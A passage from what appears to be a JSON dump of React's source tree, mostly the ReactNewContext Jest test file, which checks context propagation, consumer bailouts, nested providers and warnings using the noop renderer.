ReactNoop.render(\n        <p>\n          <MemoComponent />\n        </p>,\n      );\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'Each child in a list should have a unique \"key\" prop.' +\n          '\\n\\nCheck the top-level render call using <Inner>. It was passed a child from Inner. ' +\n          'See https://react.dev/link/warning-keys for more information.\\n' +\n          '    in span (at **)\\n' +\n          '    in Inner (at **)',\n      ]);\n    });\n  }\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactNewContext-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React = require('react');\nlet useContext;\nlet ReactNoop;\nlet Scheduler;\nlet gen;\nlet waitForAll;\nlet waitFor;\nlet waitForThrow;\nlet assertConsoleErrorDev;\n\ndescribe('ReactNewContext', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    useContext = React.useContext;\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    gen = require('random-seed');\n\n    ({\n      waitForAll,\n      waitFor,\n      waitForThrow,\n      assertConsoleErrorDev,\n    } = require('internal-test-utils'));\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return <span prop={props.text} />;\n  }\n\n  function span(prop) {\n    return {type: 'span', children: [], prop, hidden: false};\n  }\n\n  function readContext(Context) {\n    const dispatcher =\n      React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.H;\n    return dispatcher.readContext(Context);\n  }\n\n  // Note: This is based on a similar component we use in www. We can delete\n  // once the extra div wrapper is no longer necessary.\n  function LegacyHiddenDiv({children, mode}) {\n    return (\n      <div hidden={mode === 'hidden'}>\n        <React.unstable_LegacyHidden\n          mode={mode === 'hidden' ? 'unstable-defer-without-hiding' : mode}>\n          {children}\n        </React.unstable_LegacyHidden>\n      </div>\n    );\n  }\n\n  // We have several ways of reading from context. sharedContextTests runs\n  // a suite of tests for a given context consumer implementation.\n  sharedContextTests('Context.Consumer', Context => Context.Consumer);\n  sharedContextTests(\n    'useContext inside function component',\n    Context =>\n      function Consumer(props) {\n        const contextValue = useContext(Context);\n        const render = props.children;\n        return render(contextValue);\n      },\n  );\n  sharedContextTests('useContext inside forwardRef component', Context =>\n    React.forwardRef(function Consumer(props, ref) {\n      const contextValue = useContext(Context);\n      const render = props.children;\n      return render(contextValue);\n    }),\n  );\n  sharedContextTests('useContext inside memoized function component', Context =>\n    React.memo(function Consumer(props) {\n      const contextValue = useContext(Context);\n      const render = props.children;\n      return render(contextValue);\n    }),\n  );\n  sharedContextTests(\n    'readContext(Context) inside class component',\n    Context =>\n      class Consumer extends React.Component {\n        render() {\n          const contextValue = readContext(Context);\n          const render = this.props.children;\n          return render(contextValue);\n        }\n      },\n  );\n  sharedContextTests(\n    'readContext(Context) inside pure class component',\n    Context =>\n      class Consumer extends React.PureComponent {\n        render() {\n          const contextValue = readContext(Context);\n          const render = this.props.children;\n          return render(contextValue);\n        }\n      },\n  );\n\n  function sharedContextTests(label, getConsumer) {\n    describe(`reading context with ${label}`, () => {\n      it('simple mount and update', async () => {\n        const Context = React.createContext(1);\n        const Consumer = getConsumer(Context);\n\n        const Indirection = React.Fragment;\n\n        function App(props) {\n          return (\n            <Context.Provider value={props.value}>\n              <Indirection>\n                <Indirection>\n                  <Consumer>\n                    {value => <span prop={'Result: ' + value} />}\n                  </Consumer>\n                </Indirection>\n              </Indirection>\n            </Context.Provider>\n          );\n        }\n\n        ReactNoop.render(<App value={2} />);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result: 2\" />);\n\n        // Update\n        ReactNoop.render(<App value={3} />);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result: 3\" />);\n      });\n\n      it('propagates through shouldComponentUpdate false', async () => {\n        const Context = React.createContext(1);\n        const ContextConsumer = getConsumer(Context);\n\n        function Provider(props) {\n          Scheduler.log('Provider');\n          return (\n            <Context.Provider value={props.value}>\n              {props.children}\n            </Context.Provider>\n          );\n        }\n\n        function Consumer(props) {\n          Scheduler.log('Consumer');\n          return (\n            <ContextConsumer>\n              {value => {\n                Scheduler.log('Consumer render prop');\n                return <span prop={'Result: ' + value} />;\n              }}\n            </ContextConsumer>\n          );\n        }\n\n        class Indirection extends React.Component {\n          shouldComponentUpdate() {\n            return false;\n          }\n          render() {\n            Scheduler.log('Indirection');\n            return this.props.children;\n          }\n        }\n\n        function App(props) {\n          Scheduler.log('App');\n          return (\n            <Provider value={props.value}>\n              <Indirection>\n                <Indirection>\n                  <Consumer />\n                </Indirection>\n              </Indirection>\n            </Provider>\n          );\n        }\n\n        ReactNoop.render(<App value={2} />);\n        await waitForAll([\n          'App',\n          'Provider',\n          'Indirection',\n          'Indirection',\n          'Consumer',\n          'Consumer render prop',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result: 2\" />);\n\n        // Update\n        ReactNoop.render(<App value={3} />);\n        await waitForAll(['App', 'Provider', 'Consumer render prop']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result: 3\" />);\n      });\n\n      it('consumers bail out if context value is the same', async () => {\n        const Context = React.createContext(1);\n        const ContextConsumer = getConsumer(Context);\n\n        function Provider(props) {\n          Scheduler.log('Provider');\n          return (\n            <Context.Provider value={props.value}>\n              {props.children}\n            </Context.Provider>\n          );\n        }\n\n        function Consumer(props) {\n          Scheduler.log('Consumer');\n          return (\n            <ContextConsumer>\n              {value => {\n                Scheduler.log('Consumer render prop');\n                return <span prop={'Result: ' + value} />;\n              }}\n            </ContextConsumer>\n          );\n        }\n\n        class Indirection extends React.Component {\n          shouldComponentUpdate() {\n            return false;\n          }\n          render() {\n            Scheduler.log('Indirection');\n            return this.props.children;\n          }\n        }\n\n        function App(props) {\n          Scheduler.log('App');\n          return (\n            <Provider value={props.value}>\n              <Indirection>\n                <Indirection>\n                  <Consumer />\n                </Indirection>\n              </Indirection>\n            </Provider>\n          );\n        }\n\n        ReactNoop.render(<App value={2} />);\n        await waitForAll([\n          'App',\n          'Provider',\n          'Indirection',\n          'Indirection',\n          'Consumer',\n          'Consumer render prop',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result: 2\" />);\n\n        // Update with the same context value\n        ReactNoop.render(<App value={2} />);\n        await waitForAll([\n          'App',\n          'Provider',\n          // Don't call render prop again\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result: 2\" />);\n      });\n\n      it('nested providers', async () => {\n        const Context = React.createContext(1);\n        const Consumer = getConsumer(Context);\n\n        function Provider(props) {\n          return (\n            <Consumer>\n              {contextValue => (\n                // Multiply previous context value by 2, unless prop overrides\n                <Context.Provider value={props.value || contextValue * 2}>\n                  {props.children}\n                </Context.Provider>\n              )}\n            </Consumer>\n          );\n        }\n\n        class Indirection extends React.Component {\n          shouldComponentUpdate() {\n            return false;\n          }\n          render() {\n            return this.props.children;\n          }\n        }\n\n        function App(props) {\n          return (\n            <Provider value={props.value}>\n              <Indirection>\n                <Provider>\n                  <Indirection>\n                    <Provider>\n                      <Indirection>\n                        <Consumer>\n                          {value => <span prop={'Result: ' + value} />}\n                        </Consumer>\n                      </Indirection>\n                    </Provider>\n                  </Indirection>\n                </Provider>\n              </Indirection>\n            </Provider>\n          );\n        }\n\n        ReactNoop.render(<App value={2} />);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result: 8\" />);\n\n        // Update\n        ReactNoop.render(<App value={3} />);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result: 12\" />);\n      });\n\n      it('should provide the correct (default) values to consumers outside of a provider', async () => {\n        const FooContext = React.createContext({value: 'foo-initial'});\n        const BarContext = React.createContext({value: 'bar-initial'});\n        const FooConsumer = getConsumer(FooContext);\n        const BarConsumer = getConsumer(BarContext);\n\n        const Verify = ({actual, expected}) => {\n          expect(expected).toBe(actual);\n          return null;\n        };\n\n        ReactNoop.render(\n          <>\n            <BarContext.Provider value={{value: 'bar-updated'}}>\n              <BarConsumer>\n                {({value}) => <Verify actual={value} expected=\"bar-updated\" />}\n              </BarConsumer>\n\n              <FooContext.Provider value={{value: 'foo-updated'}}>\n                <FooConsumer>\n                  {({value}) => (\n                    <Verify actual={value} expected=\"foo-updated\" />\n                  )}\n                </FooConsumer>\n              </FooContext.Provider>\n            </BarContext.Provider>\n\n            <FooConsumer>\n              {({value}) => <Verify actual={value} expected=\"foo-initial\" />}\n            </FooConsumer>\n            <BarConsumer>\n              {({value}) => <Verify actual={value} expected=\"bar-initial\" />}\n            </BarConsumer>\n          </>,\n        );\n        await waitForAll([]);\n      });\n\n      it('multiple consumers in different branches', async () => {\n        const Context = React.createContext(1);\n        const Consumer = getConsumer(Context);\n\n        function Provider(props) {\n          return (\n            <Context.Consumer>\n              {contextValue => (\n                // Multiply previous context value by 2, unless prop overrides\n                <Context.Provider value={props.value || contextValue * 2}>\n                  {props.children}\n                </Context.Provider>\n              )}\n            </Context.Consumer>\n          );\n        }\n\n        class Indirection extends React.Component {\n          shouldComponentUpdate() {\n            return false;\n          }\n          render() {\n            return this.props.children;\n          }\n        }\n\n        function App(props) {\n          return (\n            <Provider value={props.value}>\n              <Indirection>\n                <Indirection>\n                  <Provider>\n                    <Consumer>\n                      {value => <span prop={'Result: ' + value} />}\n                    </Consumer>\n                  </Provider>\n                </Indirection>\n                <Indirection>\n                  <Consumer>\n                    {value => <span prop={'Result: ' + value} />}\n                  </Consumer>\n                </Indirection>\n              </Indirection>\n            </Provider>\n          );\n        }\n\n        ReactNoop.render(<App value={2} />);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Result: 4\" />\n            <span prop=\"Result: 2\" />\n          </>,\n        );\n\n        // Update\n        ReactNoop.render(<App value={3} />);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Result: 6\" />\n            <span prop=\"Result: 3\" />\n          </>,\n        );\n\n        // Another update\n        ReactNoop.render(<App value={4} />);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Result: 8\" />\n            <span prop=\"Result: 4\" />\n          </>,\n        );\n      });\n\n      it('compares context values with Object.is semantics', async () => {\n        const Context = React.createContext(1);\n        const ContextConsumer = getConsumer(Context);\n\n        function Provider(props) {\n          Scheduler.log('Provider');\n          return (\n            <Context.Provider value={props.value}>\n              {props.children}\n            </Context.Provider>\n          );\n        }\n\n        function Consumer(props) {\n          Scheduler.log('Consumer');\n          return (\n            <ContextConsumer>\n              {value => {\n                Scheduler.log('Consumer render prop');\n                return <span prop={'Result: ' + value} />;\n              }}\n            </ContextConsumer>\n          );\n        }\n\n        class Indirection extends React.Component {\n          shouldComponentUpdate() {\n            return false;\n          }\n          render() {\n            Scheduler.log('Indirection');\n            return this.props.children;\n          }\n        }\n\n        function App(props) {\n          Scheduler.log('App');\n          return (\n            <Provider value={props.value}>\n              <Indirection>\n                <Indirection>\n                  <Consumer />\n                </Indirection>\n              </Indirection>\n            </Provider>\n          );\n        }\n\n        ReactNoop.render(<App value={NaN} />);\n        await waitForAll([\n          'App',\n          'Provider',\n          'Indirection',\n          'Indirection',\n          'Consumer',\n          'Consumer render prop',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result: NaN\" />);\n\n        // Update\n        ReactNoop.render(<App value={NaN} />);\n        await waitForAll([\n          'App',\n          'Provider',\n          // Consumer should not re-render again\n          // 'Consumer render prop',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result: NaN\" />);\n      });\n\n      it('context unwinds when interrupted', async () => {\n        const Context = React.createContext('Default');\n        const ContextConsumer = getConsumer(Context);\n\n        function Consumer(props) {\n          return (\n            <ContextConsumer>\n              {value => <span prop={'Result: ' + value} />}\n            </ContextConsumer>\n          );\n        }\n\n        function BadRender() {\n          throw new Error('Bad render');\n        }\n\n        class ErrorBoundary extends React.Component {\n          state = {error: null};\n          componentDidCatch(error) {\n            this.setState({error});\n          }\n          render() {\n            if (this.state.error) {\n              return null;\n            }\n            return this.props.children;\n          }\n        }\n\n        function App(props) {\n          return (\n            <>\n              <Context.Provider value=\"Does not unwind\">\n                <ErrorBoundary>\n                  <Context.Provider value=\"Unwinds after BadRender throws\">\n                    <BadRender />\n                  </Context.Provider>\n                </ErrorBoundary>\n                <Consumer />\n              </Context.Provider>\n            </>\n          );\n        }\n\n        ReactNoop.render(<App value=\"A\" />);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          // The second provider should use the default value.\n          <span prop=\"Result: Does not unwind\" />,\n        );\n      });\n\n      it(\"does not re-render if there's an update in a child\", async () => {\n        const Context = React.createContext(0);\n        const Consumer = getConsumer(Context);\n\n        let child;\n        class Child extends React.Component {\n          state = {step: 0};\n          render() {\n            Scheduler.log('Child');\n            return (\n              <span\n                prop={`Context: ${this.props.context}, Step: ${this.state.step}`}\n              />\n            );\n          }\n        }\n\n        function App(props) {\n          return (\n            <Context.Provider value={props.value}>\n              <Consumer>\n                {value => {\n                  Scheduler.log('Consumer render prop');\n                  return <Child ref={inst => (child = inst)} context={value} />;\n                }}\n              </Consumer>\n            </Context.Provider>\n          );\n        }\n\n        // Initial mount\n        ReactNoop.render(<App value={1} />);\n        await waitForAll(['Consumer render prop', 'Child']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <span prop=\"Context: 1, Step: 0\" />,\n        );\n\n        child.setState({step: 1});\n        await waitForAll(['Child']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <span prop=\"Context: 1, Step: 1\" />,\n        );\n      });\n\n      it('consumer bails out if value is unchanged and something above bailed out', async () => {\n        const Context = React.createContext(0);\n        const Consumer = getConsumer(Context);\n\n        function renderChildValue(value) {\n          Scheduler.log('Consumer');\n          return <span prop={value} />;\n        }\n\n        function ChildWithInlineRenderCallback() {\n          Scheduler.log('ChildWithInlineRenderCallback');\n          // Note: we are intentionally passing an inline arrow. Don't refactor.\n          return <Consumer>{value => renderChildValue(value)}</Consumer>;\n        }\n\n        function ChildWithCachedRenderCallback() {\n          Scheduler.log('ChildWithCachedRenderCallback');\n          return <Consumer>{renderChildValue}</Consumer>;\n        }\n\n        class PureIndirection extends React.PureComponent {\n          render() {\n            Scheduler.log('PureIndirection');\n            return (\n              <>\n                <ChildWithInlineRenderCallback />\n                <ChildWithCachedRenderCallback />\n              </>\n            );\n          }\n        }\n\n        class App extends React.Component {\n          render() {\n            Scheduler.log('App');\n            return (\n              <Context.Provider value={this.props.value}>\n                <PureIndirection />\n              </Context.Provider>\n            );\n          }\n        }\n\n        // Initial mount\n        ReactNoop.render(<App value={1} />);\n        await waitForAll([\n          'App',\n          'PureIndirection',\n          'ChildWithInlineRenderCallback',\n          'Consumer',\n          'ChildWithCachedRenderCallback',\n          'Consumer',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop={1} />\n            <span prop={1} />\n          </>,\n        );\n\n        // Update (bailout)\n        ReactNoop.render(<App value={1} />);\n        await waitForAll(['App']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop={1} />\n            <span prop={1} />\n          </>,\n        );\n\n        // Update (no bailout)\n        ReactNoop.render(<App value={2} />);\n        await waitForAll(['App', 'Consumer', 'Consumer']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop={2} />\n            <span prop={2} />\n          </>,\n        );\n      });\n\n      // @gate enableLegacyHidden\n      it(\"context consumer doesn't bail out inside hidden subtree\", async () => {\n        const Context = React.createContext('dark');\n        const Consumer = getConsumer(Context);\n\n        function App({theme}) {\n          return (\n            <Context.Provider value={theme}>\n              <LegacyHiddenDiv mode=\"hidden\">\n                <Consumer>{value => <Text text={value} />}</Consumer>\n              </LegacyHiddenDiv>\n            </Context.Provider>\n          );\n        }\n\n        ReactNoop.render(<App theme=\"dark\" />);\n        await waitForAll(['dark']);\n        expect(ReactNoop.getChildrenAsJSX()).toEqual(\n          <div hidden={true}>\n            <span prop=\"dark\" />\n          </div>,\n        );\n\n        ReactNoop.render(<App theme=\"light\" />);\n        await waitForAll(['light']);\n        expect(ReactNoop.getChildrenAsJSX()).toEqual(\n          <div hidden={true}>\n            <span prop=\"light\" />\n          </div>,\n        );\n      });\n\n      // This is a regression case for https://github.com/facebook/react/issues/12389.\n      it('does not run into an infinite loop', async () => {\n        const Context = React.createContext(null);\n        const Consumer = getConsumer(Context);\n\n        class App extends React.Component {\n          renderItem(id) {\n            return (\n              <span key={id}>\n                <Consumer>{() => <span>inner</span>}</Consumer>\n                <span>outer</span>\n              </span>\n            );\n          }\n          renderList() {\n            const list = [1, 2].map(id => this.renderItem(id));\n            if (this.props.reverse) {\n              list.reverse();\n            }\n            return list;\n          }\n          render() {\n            return (\n              <Context.Provider value={{}}>\n                {this.renderList()}\n              </Context.Provider>\n            );\n          }\n        }\n\n        ReactNoop.render(<App reverse={false} />);\n        await waitForAll([]);\n        ReactNoop.render(<App reverse={true} />);\n        await waitForAll([]);\n        ReactNoop.render(<App reverse={false} />);\n        await waitForAll([]);\n      });\n\n      // This is a regression case for https://github.com/facebook/react/issues/12686\n      it('does not skip some siblings', async () => {\n        const Context = React.createContext(0);\n        const ContextConsumer = getConsumer(Context);\n\n        class App extends React.Component {\n          state = {\n            step: 0,\n          };\n\n          render() {\n            Scheduler.log('App');\n            return (\n              <Context.Provider value={this.state.step}>\n                <StaticContent />\n                {this.state.step > 0 && <Indirection />}\n              </Context.Provider>\n            );\n          }\n        }\n\n        class StaticContent extends React.PureComponent {\n          render() {\n            return (\n              <>\n                <>\n                  <span prop=\"static 1\" />\n                  <span prop=\"static 2\" />\n                </>\n              </>\n            );\n          }\n        }\n\n        class Indirection extends React.PureComponent {\n          render() {\n            return (\n              <ContextConsumer>\n                {value => {\n                  Scheduler.log('Consumer');\n                  return <span prop={value} />;\n                }}\n              </ContextConsumer>\n            );\n          }\n        }\n\n        // Initial mount\n        let inst;\n        ReactNoop.render(<App ref={ref => (inst = ref)} />);\n        await waitForAll(['App']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"static 1\" />\n            <span prop=\"static 2\" />\n          </>,\n        );\n        // Update the first time\n        inst.setState({step: 1});\n        await waitForAll(['App', 'Consumer']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"static 1\" />\n            <span prop=\"static 2\" />\n            <span prop={1} />\n          </>,\n        );\n        // Update the second time\n        inst.setState({step: 2});\n        await waitForAll(['App', 'Consumer']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"static 1\" />\n            <span prop=\"static 2\" />\n            <span prop={2} />\n          </>,\n        );\n      });\n    });\n  }\n\n  describe('Context.Provider', () => {\n    it('warns if no value prop provided', async () => {\n      const Context = React.createContext();\n\n      ReactNoop.render(\n        <Context.Provider anyPropNameOtherThanValue=\"value could be anything\" />,\n      );\n\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'The `value` prop is required for the `<Context.Provider>`. Did you misspell it or forget to pass it?',\n      ]);\n    });\n\n    it('warns if multiple renderers concurrently render the same context', async () => {\n      spyOnDev(console, 'error').mockImplementation(() => {});\n      const Context = React.createContext(0);\n\n      function Foo(props) {\n        Scheduler.log('Foo');\n        return null;\n      }\n\n      function App(props) {\n        return (\n          <Context.Provider value={props.value}>\n            <Foo />\n            <Foo />\n          </Context.Provider>\n        );\n      }\n\n      React.startTransition(() => {\n        ReactNoop.render(<App value={1} />);\n      });\n      // Render past the Provider, but don't commit yet\n      await waitFor(['Foo']);\n\n      // Get a new copy of ReactNoop\n      jest.resetModules();\n      React = require('react');\n      ReactNoop = require('react-noop-renderer');\n      Scheduler = require('scheduler');\n      const InternalTestUtils = require('internal-test-utils');\n      waitForAll = InternalTestUtils.waitForAll;\n      waitFor = InternalTestUtils.waitFor;\n\n      // Render the provider again using a different renderer\n      ReactNoop.render(<App value={1} />);\n      await waitForAll(['Foo', 'Foo']);\n\n      if (__DEV__) {\n        expect(console.error.mock.calls[0][0]).toContain(\n          'Detected multiple renderers concurrently rendering the same ' +\n            'context provider. This is currently unsupported',\n        );\n      }\n    });\n\n    it('does not warn if multiple renderers use the same context sequentially', async () => {\n      spyOnDev(console, 'error');\n      const Context = React.createContext(0);\n\n      function Foo(props) {\n        Scheduler.log('Foo');\n        return null;\n      }\n\n      function App(props) {\n        return (\n          <Context.Provider value={props.value}>\n            <Foo />\n            <Foo />\n          </Context.Provider>\n        );\n      }\n\n      React.startTransition(() => {\n        ReactNoop.render(<App value={1} />);\n      });\n      await waitForAll(['Foo', 'Foo']);\n\n      // Get a new copy of ReactNoop\n      jest.resetModules();\n      React = require('react');\n      ReactNoop = require('react-noop-renderer');\n      Scheduler = require('scheduler');\n      const InternalTestUtils = require('internal-test-utils');\n      waitForAll = InternalTestUtils.waitForAll;\n      waitFor = InternalTestUtils.waitFor;\n\n      // Render the provider again using a different renderer\n      ReactNoop.render(<App value={1} />);\n      await waitForAll(['Foo', 'Foo']);\n\n      if (__DEV__) {\n        expect(console.error).not.toHaveBeenCalled();\n      }\n    });\n\n    it('provider bails out if children and value are unchanged (like sCU)', async () => {\n      const Context = React.createContext(0);\n\n      function Child() {\n        Scheduler.log('Child');\n        return <span prop=\"Child\" />;\n      }\n\n      const children = <Child />;\n\n      function App(props) {\n        Scheduler.log('App');\n        return (\n          <Context.Provider value={props.value}>{children}</Context.Provider>\n        );\n      }\n\n      // Initial mount\n      ReactNoop.render(<App value={1} />);\n      await waitForAll(['App', 'Child']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Child\" />);\n\n      // Update\n      ReactNoop.render(<App value={1} />);\n      await waitForAll([\n        'App',\n        // Child does not re-render\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Child\" />);\n    });\n\n    // @gate !disableLegacyContext\n    it('provider does not bail out if legacy context changed above', async () => {\n      const Context = React.createContext(0);\n\n      function Child() {\n        Scheduler.log('Child');\n        return <span prop=\"Child\" />;\n      }\n\n      const children = <Child />;\n\n      class LegacyProvider extends React.Component {\n        static childContextTypes = {\n          legacyValue: () => {},\n        };\n        state = {legacyValue: 1};\n        getChildContext() {\n          return {legacyValue: this.state.legacyValue};\n        }\n        render() {\n          Scheduler.log('LegacyProvider');\n          return this.props.children;\n        }\n      }\n\n      class App extends React.Component {\n        state = {value: 1};\n        render() {\n          Scheduler.log('App');\n          return (\n            <Context.Provider value={this.state.value}>\n              {this.props.children}\n            </Context.Provider>\n          );\n        }\n      }\n\n      const legacyProviderRef = React.createRef();\n      const appRef = React.createRef();\n\n      // Initial mount\n      ReactNoop.render(\n        <LegacyProvider ref={legacyProviderRef}>\n          <App ref={appRef} value={1}>\n            {children}\n          </App>\n        </LegacyProvider>,\n      );\n      await waitForAll(['LegacyProvider', 'App', 'Child']);\n      assertConsoleErrorDev([\n        'LegacyProvider uses the legacy childContextTypes API which will soon be removed. ' +\n          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in LegacyProvider (at **)',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Child\" />);\n\n      // Update App with same value (should bail out)\n      appRef.current.setState({value: 1});\n      await waitForAll(['App']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Child\" />);\n\n      // Update LegacyProvider (should not bail out)\n      legacyProviderRef.current.setState({value: 1});\n      await waitForAll(['LegacyProvider', 'App', 'Child']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Child\" />);\n\n      // Update App with same value (should bail out)\n      appRef.current.setState({value: 1});\n      await waitForAll(['App']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Child\" />);\n    });\n  });\n\n  describe('Context.Consumer', () => {\n    it('warns if child is not a function', async () => {\n      spyOnDev(console, 'error').mockImplementation(() => {});\n      const Context = React.createContext(0);\n      ReactNoop.render(<Context.Consumer />);\n      await waitForThrow('is not a function');\n      if (__DEV__) {\n        expect(console.error.mock.calls[0][0]).toContain(\n          'A context consumer was rendered with multiple children, or a child ' +\n            \"that isn't a function\",\n        );\n      }\n    });\n\n    it('can read other contexts inside consumer render prop', async () => {\n      const FooContext = React.createContext(0);\n      const BarContext = React.createContext(0);\n\n      function FooAndBar() {\n        return (\n          <FooContext.Consumer>\n            {foo => {\n              const bar = readContext(BarContext);\n              return <Text text={`Foo: ${foo}, Bar: ${bar}`} />;\n            }}\n          </FooContext.Consumer>\n        );\n      }\n\n      class Indirection extends React.Component {\n        shouldComponentUpdate() {\n          return false;\n        }\n        render() {\n          return this.props.children;\n        }\n      }\n\n      function App(props) {\n        return (\n          <FooContext.Provider value={props.foo}>\n            <BarContext.Provider value={props.bar}>\n              <Indirection>\n                <FooAndBar />\n              </Indirection>\n            </BarContext.Provider>\n          </FooContext.Provider>\n        );\n      }\n\n      ReactNoop.render(<App foo={1} bar={1} />);\n      await waitForAll(['Foo: 1, Bar: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Foo: 1, Bar: 1\" />);\n\n      // Update foo\n      ReactNoop.render(<App foo={2} bar={1} />);\n      await waitForAll(['Foo: 2, Bar: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Foo: 2, Bar: 1\" />);\n\n      // Update bar\n      ReactNoop.render(<App foo={2} bar={2} />);\n      await waitForAll(['Foo: 2, Bar: 2']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Foo: 2, Bar: 2\" />);\n    });\n\n    // Context consumer bails out on propagating \"deep\" updates when `value` hasn't changed.\n    // However, it doesn't bail out from rendering if the component above it re-rendered anyway.\n    // If we bailed out on referential equality, it would be confusing that you\n    // can call this.setState(), but an autobound render callback \"blocked\" the update.\n    // https://github.com/facebook/react/pull/12470#issuecomment-376917711\n    it('consumer does not bail out if there were no bailouts above it', async () => {\n      const Context = React.createContext(0);\n      const Consumer = Context.Consumer;\n\n      class App extends React.Component {\n        state = {\n          text: 'hello',\n        };\n\n        renderConsumer = context => {\n          Scheduler.log('App#renderConsumer');\n          return <span prop={this.state.text} />;\n        };\n\n        render() {\n          Scheduler.log('App');\n          return (\n            <Context.Provider value={this.props.value}>\n              <Consumer>{this.renderConsumer}</Consumer>\n            </Context.Provider>\n          );\n        }\n      }\n\n      // Initial mount\n      let inst;\n      ReactNoop.render(<App value={1} ref={ref => (inst = ref)} />);\n      await waitForAll(['App', 'App#renderConsumer']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"hello\" />);\n\n      // Update\n      inst.setState({text: 'goodbye'});\n      await waitForAll(['App', 'App#renderConsumer']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"goodbye\" />);\n    });\n  });\n\n  describe('readContext', () => {\n    // Unstable changedBits API was removed. Port this test to context selectors\n    // once that exists.\n    // @gate FIXME\n    it('can read the same context multiple times in the same function', async () => {\n      const Context = React.createContext({foo: 0, bar: 0, baz: 0}, (a, b) => {\n        let result = 0;\n        if (a.foo !== b.foo) {\n          result |= 0b001;\n        }\n        if (a.bar !== b.bar) {\n          result |= 0b010;\n        }\n        if (a.baz !== b.baz) {\n          result |= 0b100;\n        }\n        return result;\n      });\n\n      function Provider(props) {\n        return (\n          <Context.Provider\n            value={{foo: props.foo, bar: props.bar, baz: props.baz}}>\n            {props.children}\n          </Context.Provider>\n        );\n      }\n\n      function FooAndBar() {\n        const {foo} = readContext(Context, 0b001);\n        const {bar} = readContext(Context, 0b010);\n        return <Text text={`Foo: ${foo}, Bar: ${bar}`} />;\n      }\n\n      function Baz() {\n        const {baz} = readContext(Context, 0b100);\n        return <Text text={'Baz: ' + baz} />;\n      }\n\n      class Indirection extends React.Component {\n        shouldComponentUpdate() {\n          return false;\n        }\n        render() {\n          return this.props.children;\n        }\n      }\n\n      function App(props) {\n        return (\n          <Provider foo={props.foo} bar={props.bar} baz={props.baz}>\n            <Indirection>\n              <Indirection>\n                <FooAndBar />\n              </Indirection>\n              <Indirection>\n                <Baz />\n              </Indirection>\n            </Indirection>\n          </Provider>\n        );\n      }\n\n      ReactNoop.render(<App foo={1} bar={1} baz={1} />);\n      await waitForAll(['Foo: 1, Bar: 1', 'Baz: 1']);\n      expect(ReactNoop).toMatchRenderedOutput([\n        <span prop=\"Foo: 1, Bar: 1\" />,\n        <span prop=\"Baz: 1\" />,\n      ]);\n\n      // Update only foo\n      ReactNoop.render(<App foo={2} bar={1} baz={1} />);\n      await waitForAll(['Foo: 2, Bar: 1']);\n      expect(ReactNoop).toMatchRenderedOutput([\n        <span prop=\"Foo: 2, Bar: 1\" />,\n        <span prop=\"Baz: 1\" />,\n      ]);\n\n      // Update only bar\n      ReactNoop.render(<App foo={2} bar={2} baz={1} />);\n      await waitForAll(['Foo: 2, Bar: 2']);\n      expect(ReactNoop).toMatchRenderedOutput([\n        <span prop=\"Foo: 2, Bar: 2\" />,\n        <span prop=\"Baz: 1\" />,\n      ]);\n\n      // Update only baz\n      ReactNoop.render(<App foo={2} bar={2} baz={2} />);\n      await waitForAll(['Baz: 2']);\n      expect(ReactNoop).toMatchRenderedOutput([\n        <span prop=\"Foo: 2, Bar: 2\" />,\n        <span prop=\"Baz: 2\" />,\n      ]);\n    });\n\n    // Context consumer bails out on propagating \"deep\" updates when `value` hasn't changed.\n    // However, it doesn't bail out from rendering if the component above it re-rendered anyway.\n    // If we bailed out on 